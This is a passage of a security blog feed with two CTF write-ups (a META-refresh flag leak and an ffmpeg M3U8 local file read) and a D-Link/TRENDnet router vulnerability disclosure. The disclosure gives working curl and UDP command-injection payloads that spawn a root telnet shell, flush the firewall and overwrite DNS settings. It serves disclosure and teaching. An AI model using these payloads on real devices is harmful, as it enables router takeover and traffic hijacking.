&lt;p&gt;When first loaded, the ‘Bug Bounty’ challenge was seen to be exactly as it said on the tin, a Bug Bounty submission system.&lt;/p&gt;

&lt;h3 id=&quot;the-flow&quot;&gt;The Flow.&lt;/h3&gt;

&lt;p&gt;After a bit of review, the flow was found to be as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User creates an account.&lt;/li&gt;
  &lt;li&gt;User submits a bug.
    &lt;ul&gt;
      &lt;li&gt;User provided with a SHA1 hash for tracking.&lt;/li&gt;
      &lt;li&gt;User is requested to solve a captcha.&lt;/li&gt;
      &lt;li&gt;New bug is marked with a status of &lt;strong&gt;‘Pending review’.&lt;/strong&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;User solves a captcha.
    &lt;ul&gt;
      &lt;li&gt;The system marks the bug as &lt;strong&gt;‘Seen’&lt;/strong&gt; after completion.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;
However, now that we believed that we had captured the ‘standard flow’ of the application, it was time to try and see whether we could affect the flow by tampering with any and all request data.&lt;/p&gt;

&lt;h3 id=&quot;the-obvious&quot;&gt;The Obvious?&lt;/h3&gt;

&lt;p&gt;At first, I had thought that this might be another challenge which could be solved with SQL Injection or directory traversal. However, after a number of attempts, it started to look less likely that this was the case. Everything appeared to reply with a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fail&lt;/code&gt; message when omitted, malformed, or intentionally tampered with.&lt;/p&gt;

&lt;p&gt;As for directory traversal, this was not only incorrect, but also had me burn a number of hours ‘down the rabbit hole’. I have the feeling now, after the fact, that this was indeed a Red Herring added by the challenge designer :)&lt;/p&gt;

&lt;h3 id=&quot;csp&quot;&gt;CSP.&lt;/h3&gt;

&lt;p&gt;To quote &lt;a href=&quot;https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22&quot;&gt;H5SC Minichallenge 3&lt;/a&gt;, “Sh*t, it’s CSP!”.&lt;/p&gt;

&lt;p&gt;It was noticed quite quickly during the initial investigation that there was a very strict CSP (Content Security Policy) applied to all responses from the application. Given that this was present, and that a submitted bug changed status to &lt;strong&gt;‘Seen’&lt;/strong&gt; after a captcha was solved, there was some thought that the intended solution involved a CSP bypass.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;content-security-policy:&quot;default-src 'none'; connect-src 'self';  frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, for ‘funsies’, I thought I’d give some very basic XXS a shot; just to be sure that the CSP was being applied and working as expected.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/have-some-javascript.png&quot; alt=&quot;It's worth a shot, right?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;…Not surprisingly, CSP did exactly as it was configured:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/hah-no.png&quot; alt=&quot;&amp;quot;Yeah? Nah.&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this stage, we started to look for scripts that we could use for a CSP bypass that were included in the whitelist - maybe AngularJS, or something else custom?&lt;/p&gt;

&lt;h3 id=&quot;the-rabbit-hole-begins&quot;&gt;The Rabbit Hole Begins…&lt;/h3&gt;

&lt;p&gt;The rabbit hole started when I noticed that the page which renders a captcha on bug submission had an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ng-app&lt;/code&gt; attribute set on the root &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;html&lt;/code&gt; element.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/beginning-the-rabbithole.png&quot; alt=&quot;Angular, eh?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As there were a number of third-party Javascript files present in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dist/js/&lt;/code&gt; directory on the web-server - included by the rest of the application - I wondered whether there was an AngularJS application lurking around. Perhaps there was also an administrative interface for this Bug Bounty system?&lt;/p&gt;

&lt;p&gt;Although directory indexes were disabled, a lot of the time these files tend to be deployed with a fairly predictable naming convention:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;angular.min.js
    &lt;ul&gt;
      &lt;li&gt;A minified AngularJS.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;app.js
    &lt;ul&gt;
      &lt;li&gt;The AngularJS application itself.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;
Using the common names above, we found that there was was both a minified copy of AngularJS inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dist/js/&lt;/code&gt; directory, as well as the scaffolding for an AngularJS application.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/rabbithole-2.png&quot; alt=&quot;Ah ha!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From here, I spent a number of hours trying various CSP bypass tricks with AngularJS in order to avoid being shot-down by the CSP (as in-line Javascript was being quashed by the CSP, listed above).&lt;/p&gt;

&lt;p&gt;Unfortunately, all of my attempts culminated the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/effectively-fuck-you.png&quot; alt=&quot;Effectively, &amp;quot;fuck you&amp;quot;.&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;enter-meta&quot;&gt;Enter META&lt;/h3&gt;

&lt;p&gt;After spending a bit of time reviewing CSP documentation and reported bypasses, we found that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META&lt;/code&gt; refresh tag has been demonstrated to be able to be used to hard-redirect to another page without CSP balking. Although this isn’t a CSP bypass, we thought that we might be able to use this to our advantage if the system which was marking submissions as &lt;strong&gt;‘Seen’&lt;/strong&gt; was leaking any information on redirection (referrer headers, etc).&lt;/p&gt;

&lt;p&gt;As a result, we knocked together a one-liner which attempts to immediately redirect the page to an &lt;a href=&quot;http://requestb.in&quot;&gt;HTTP request bin&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/a-long-shot.png&quot; alt=&quot;A long shot.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once submitted, we accessed the submission via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show_report&lt;/code&gt; - which loads the submission into an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iframe&lt;/code&gt; on the page - only to find that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META&lt;/code&gt; refresh was also being blocked by CSP.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/no-dice.png&quot; alt=&quot;&amp;quot;...And I would have gotten away with it too if it wasn't for your darn CSP.&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this stage we were at a loss. However, as one final shot at the moon, we thought we should complete the captcha for this submission anyway; just in case the system marking these reports as &lt;strong&gt;‘Seen’&lt;/strong&gt; was rendering reports in a different manner.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2016/flaggy-flag.png&quot; alt=&quot;Awww Yiss!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;…To our surprise, not only did the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META&lt;/code&gt; refresh fire after completing the captcha, but the HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User-Agent&lt;/code&gt; of the request was set to the flag!&lt;/p&gt;

&lt;p&gt;With the flag captured, we claimed an additional three points, and marked off the last of the web challenges in the BKP CTF.&lt;/p&gt;

&lt;p&gt;Once again, a big thanks to @BKPCTF for running the CTF! :)&lt;/p&gt;
</description>
        <pubDate>Sun, 06 Mar 2016 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2016/03/06/BKPCTF-Suffolk-Downs-Bug-Bounty-Write-Up.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2016/03/06/BKPCTF-Suffolk-Downs-Bug-Bounty-Write-Up.html</guid>
        
        
      </item>
    
      <item>
        <title>9447 CTF - Super Turbo Atomic GIF Converter</title>
        <description>&lt;p&gt;Over the last two days I’ve been participating in the 9447 CTF with a group ephemerally known as &lt;a href=&quot;https://9447.plumbing/user?id=941&quot;&gt;‘Moose 1v1’&lt;/a&gt;. As this was my first participation in any form of CTF, and our team managed to snatch the silver for being the second to solve this particular challenge, I thought I’d write-up the solution that our team came up with.&lt;/p&gt;

&lt;p&gt;It’s worth noting that we burned a few hours going in entirely the wrong direction, which is discussed below. In the end the sources for the application were released as a hint, but that was a few hours after we’d managed to find the flag.&lt;/p&gt;

&lt;h3 id=&quot;enter-the-super-turbo-atomic-gif-converter&quot;&gt;Enter the Super Turbo Atomic GIF Converter!&lt;/h3&gt;

&lt;p&gt;The ‘Super Turbo Atomic GIF Converter’ was released on day two of this years 9447 CTF. The application targeted in this competition was a very simple one-pager, with the goal being to find a way to fetch the flag from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/ctf/flag.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/home-with-upload.png&quot; alt=&quot;My god... It's beautiful.&quot; /&gt;
In line with the CTF comp description, the target application would convert an uploaded GIF into a WEBM file - the result of which would be rendered into an HTML response page as a base64 encoded HTML5 video (via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;video src=data:video/webm;base64,...&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The result of the above operation was a playable HTML5 video:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/gif-upload.png&quot; alt=&quot;Pretty.&quot; /&gt;
Although a very small application, it took us a good number of hours (and a lot of coffee) in order to get a valid solve.&lt;/p&gt;

&lt;h3 id=&quot;content-types-vs-file-names&quot;&gt;Content-Types vs File-names&lt;/h3&gt;
&lt;p&gt;First up, we attempted to see whether we could determine whether files uploaded were written into a web accessible directory. We had a quick poke around for any obviously named temporary upload directories through URL tampering, but this quickly yielded no results. Although unfruitful, it allowed us to determine that there was an upload file size limit of 1023KB (enforced by TCP RST), and that the application written in Python (using Flask / Werkzeug).&lt;/p&gt;

&lt;p&gt;The next thing that we attempted was to upload media files of varying types. One of the first attempts was to upload a JPEG file - with a file suffix of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.jpg&lt;/code&gt; - which was met immediately by an error message. This allowed us to determine that the application was performing at least some sort of type filtering.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jpg-as-jpg-error.png&quot; alt=&quot;Uh oh.&quot; /&gt;
We then intercepted and modified another attempted JPEG upload, this time tampering with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; header from the HTTP POST, as well changing the file suffix to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gif&lt;/code&gt;. This was much more successful, with the service rendering a single-frame WEBM to the page containing our uploaded JPEG file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jpg-as-gif-rendered.png&quot; alt=&quot;&amp;quot;Yea, I'm a GIF. It says right here on my file suffix.&amp;quot;&quot; /&gt;
After a quick discussion and a few more tests we manged to determine that the service was only checking the file suffix, rather than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; HTTP header.&lt;/p&gt;

&lt;p&gt;Next up was to determine how the files were being converted, this was achieved by downloaded the resulting file, and checking it for any meta-data that may have been left by the application responsible for converting / trans-coding the files.&lt;/p&gt;

&lt;p&gt;A quick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; examination of the rendered WEBM file resulted in two telling strings that were presented in all converted files: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lavf56.40.101WA&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lavf56.40.101s&lt;/code&gt;. This, combined with the ability to convert almost any input format to WEBM, was a good indication that the service was most likely using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffmpeg&lt;/code&gt; to perform conversion.&lt;/p&gt;

&lt;p&gt;From here, I was relatively hell-bent on attempting command-injection through input file-name - encasing Unix commands in the file name inside of back-ticks as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$()&lt;/code&gt;. Unfortunately, none of these attempts were successful. It was at this point that one of our team members, jdoe, made the suggestion that the use of a file-name containing an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffmpeg&lt;/code&gt; filter (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;concat:&lt;/code&gt;) might work, but subsequent attempts with this method were also unsuccessful.&lt;/p&gt;

&lt;h3 id=&quot;m3u8-and-xfi&quot;&gt;M3U8 and xFI&lt;/h3&gt;
&lt;p&gt;From here, we were relatively stumped until jdoe made another suggestion, asking whether &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffpmeg&lt;/code&gt; supports playlist files. I was aware from some previous dealings with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffmpeg&lt;/code&gt; that it supported HLS streaming through use of M3U8 files, so we thought we’d give it a shot. We knocked together a quick M3U8 playlist containing a non-existent HTTP endpoint as the media segment source, gave the file a suffix of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gif.m3u8&lt;/code&gt; and uploaded it.&lt;/p&gt;

&lt;p&gt;After uploading the file, we were immediately greeted by a corrupt WEBM which was a great sign. A quick look at the logs from the server that we added to the M3U8 file as the segment source showed that there had been a query from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libavformat&lt;/code&gt; user-agent requesting the same invalid path included in our PoC.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/m3u8-rfi-log-hit.png&quot; alt=&quot;That's a good sign...&quot; /&gt;
From here, we knew we had a potential way of nabbing the flag, we just weren’t sure how to get the flag into a format that would be rendered by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffmpeg&lt;/code&gt;. As a result, I ended up getting stuck down the rabbit hole. At one point I was attempting to use M3U8 subtitle support to perform a local file inclusion of the flag, hoping that it would be rendered into the file in some manner. Needless to say, this didn’t work.&lt;/p&gt;

&lt;p&gt;After a few hours of completely invalid attempts, we switched things up a bit and attempted a local file inclusion directly from the uploaded M3U8… Trans-coding a text file into a WEBM via M3U8 playlist? That can’t possibly work, can it?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/m3u8-lfi-flag.png&quot; alt=&quot;A wild flag appears!&quot; /&gt;
…Apparently it can! With that, we had the flag, were up 180 points and nabbed the silver medal for the second to solve to boot :)&lt;/p&gt;

&lt;p&gt;The following M3U8 file was used for our final solution. As above, it simply uses a local absolute file path as the source and has a duration of one-second set.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, a big thanks to @9447CTF for running the CTF! :)&lt;/p&gt;
</description>
        <pubDate>Sun, 29 Nov 2015 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2015/11/29/9447CTF-Super-Turbo-Atomic-GIF-Converter-Write-Up.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2015/11/29/9447CTF-Super-Turbo-Atomic-GIF-Converter-Write-Up.html</guid>
        
        
      </item>
    
      <item>
        <title>Multiple vulnerabilities in D-Link and TRENDnet 'ncc2' service</title>
        <description>&lt;p&gt;A number of D-Link and TRENDnet devices provide web management through the use of two services; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; for serving web content, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; for executing CGI requests. Unfortunately, there are a few vulnerabilities that exist in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service which can allow for an attacker on the local network - or remotely over the internet - to gain full access to the device.&lt;/p&gt;

&lt;p&gt;A brief list of these vulnerabilities, as well as an analysis of the most pressing can be found below.&lt;/p&gt;

&lt;h3 id=&quot;fwupgradeccp&quot;&gt;fwupgrade.ccp&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the affected devices allows for basic firmware and language file upgrades via the web interface. During the operation, a HTTP POST is submitted to a resource named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fwupgrade.ccp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The request appears to be executed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the device, which runs as the root user.&lt;/p&gt;

&lt;p&gt;Unfortunately, the filtering on this resource does not appear to be effective, as: file / MIME type filtering is not being performed; and the ‘on-failure’ redirection to the login page is being performed AFTER a file has already been written the the filesystem in full.&lt;/p&gt;

&lt;p&gt;As a result of the above, this resource can be used to upload files to the filesystem of devices running vulnerable versions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; without authentication. This is also possible over the internet if WAN / remote management has been previously enabled on the device.&lt;/p&gt;

&lt;p&gt;To compound the issue, at least in the case of the listed devices, files are written to a ramfs filesystem which is mounted at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt;. Unfortunately, this mountpoint is also used to store volatile system configuration files, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resolv.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As a result, an attacker is able to hijack a user’s DNS configuration without authentication:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Overwrite the DNS resolver with Google DNS&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'nameserver 8.8.8.8'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; resolv.conf

curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; http://192.168.0.1/fwupgrade.ccp &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;fwupgrade &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;resolv.conf &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;@resolv.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;pingccp&quot;&gt;ping.ccp&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the affected devices allow for basic ‘ping’ diagnostics to be performed via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping.ccp&lt;/code&gt; resource. Unfortunately, it appears that strings passed to this call are not correctly sanitized.&lt;/p&gt;

&lt;p&gt;Much in the same manner as above, requests are executed by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the device, which is run as the root user.&lt;/p&gt;

&lt;p&gt;The handler for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping_v4&lt;/code&gt; does not appear to be vulnerable as this resource maps the components of a IPv4 address, represented by a dotted quad, into a format of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%u.%u.%u.%u&lt;/code&gt; at execution time. However, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping_ipv6&lt;/code&gt; references the user provided input directly as a string (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%s&lt;/code&gt;), which is then passed to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; call. This formatting allows for an attacker to pass arbitrary commands to the device through a HTTP request.&lt;/p&gt;

&lt;p&gt;As this resource is also able to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device - including, but not limited to, DNS hijacking and WAN firewall disablement - via CSRF.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Spawn a root shell (telnet)&lt;/span&gt;
curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; http://192.168.0.1/ping.ccp &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;--data&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ccp_act=ping_v6&amp;amp;ping_addr=$(telnetd -l /bin/sh)'&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Flush the iptables INPUT chain and set the default policy to ACCEPT.&lt;/span&gt;
curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; http://192.168.0.1/ping.ccp &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;--data&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ccp_act=ping_v6&amp;amp;ping_addr=$(iptables -P INPUT ACCEPT)'&lt;/span&gt;
curl &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; http://192.168.0.1/ping.ccp &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;--data&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ccp_act=ping_v6&amp;amp;ping_addr=$(iptables -F INPUT)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;udpserver--mp-daemon&quot;&gt;UDPServer / MP Daemon&lt;/h3&gt;

&lt;p&gt;Note: This vulnerability does not seem to be present in firmware versions before 1.05B03 on the DIR-820LA1, however this may differ on other platforms.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the affected devices appears to have been shipped with a number of diagnostic hooks available. Unfortunately, much in the same manner as the vulnerabilities discussed above, these hooks are able to be called without authentication.&lt;/p&gt;

&lt;p&gt;One of the more ‘interesting’ hooks exposed by these devices allow for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UDPServer&lt;/code&gt; process to be spawned on the device when called. When started, this process begins listening on the LAN IP on UDP 9034. The source for this service (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UDPServer&lt;/code&gt;) is available in the RealTek SDK, and appears to be a diagnostic tool.&lt;/p&gt;

&lt;p&gt;Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; call. As a result of the above, this process is vulnerable to arbitrary command injection.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Spawn a root shell (telnet)&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; 192.168.0.1/test_mode.txt
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;telnetd -l /bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/udp/192.168.0.1/9034
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;diagnostic-hooks&quot;&gt;Diagnostic hooks&lt;/h3&gt;

&lt;p&gt;Further to the ‘test_mode’ hook discussed above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; service on the affected devices appear to have been shipped with a number of other diagnostic hooks enabled by default:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;tftpd_ready.txt&lt;/li&gt;
  &lt;li&gt;chklst.txt&lt;/li&gt;
  &lt;li&gt;wps_default_pin.txt&lt;/li&gt;
  &lt;li&gt;usb_connect.txt&lt;/li&gt;
  &lt;li&gt;wps_btn.txt&lt;/li&gt;
  &lt;li&gt;reset_btn.txt&lt;/li&gt;
  &lt;li&gt;reboot_btn.txt&lt;/li&gt;
  &lt;li&gt;calibration_ready24G.txt&lt;/li&gt;
  &lt;li&gt;calibration_ready5G.txt&lt;/li&gt;
  &lt;li&gt;restore_default_finish.txt&lt;/li&gt;
  &lt;li&gt;set_mac_finish.txt&lt;/li&gt;
  &lt;li&gt;test_mode.txt&lt;/li&gt;
  &lt;li&gt;wifist.txt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These resources do not exist on the filesystem of the device, nor do they appear to be static. Instead, these files appear to be rendered when queried and can be used to both interrogate the given device for information, as well as enable diagnostic services on demand.&lt;/p&gt;

&lt;p&gt;Unfortunately, these hooks are able to be queried without any form of authentication, and are accessible by attackers on the local network, over the internet via WAN management (if enabled), and via CSRF.&lt;/p&gt;

&lt;p&gt;A brief descriptions for each of these hooks is provided below. Those not listed provide either unknown functionality, or binary values which appear to represent system GPIO states (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*_btn.txt&lt;/code&gt;).&lt;/p&gt;

&lt;h5 id=&quot;tftp_readytxt&quot;&gt;tftp_ready.txt&lt;/h5&gt;

&lt;p&gt;When queried, this resource spawns a tftp daemon which has a root directory of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;. As TFTP requires no authentication, this service can be used to extract credentials from the device or even download files from an external storage device connected via USB.&lt;/p&gt;

&lt;p&gt;Unfortunately, due to the way this data is stored on the system, all credentials appear to be available in plain-text. These credentials can include (depending on the vendor and device configuration):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;GUI / Device management credentials&lt;/li&gt;
  &lt;li&gt;Samba credentials&lt;/li&gt;
  &lt;li&gt;PPPoE credentials&lt;/li&gt;
  &lt;li&gt;Email credentials&lt;/li&gt;
  &lt;li&gt;‘MyDlink’ credentials (on D-Link devices)&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;chklsttxt&quot;&gt;chklst.txt&lt;/h5&gt;

&lt;p&gt;When queried, this resource will return the following information:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Current WLAN SSIDs&lt;/li&gt;
  &lt;li&gt;Current WLAN channels&lt;/li&gt;
  &lt;li&gt;LAN and WAN MAC addressing&lt;/li&gt;
  &lt;li&gt;Current Firmware version information&lt;/li&gt;
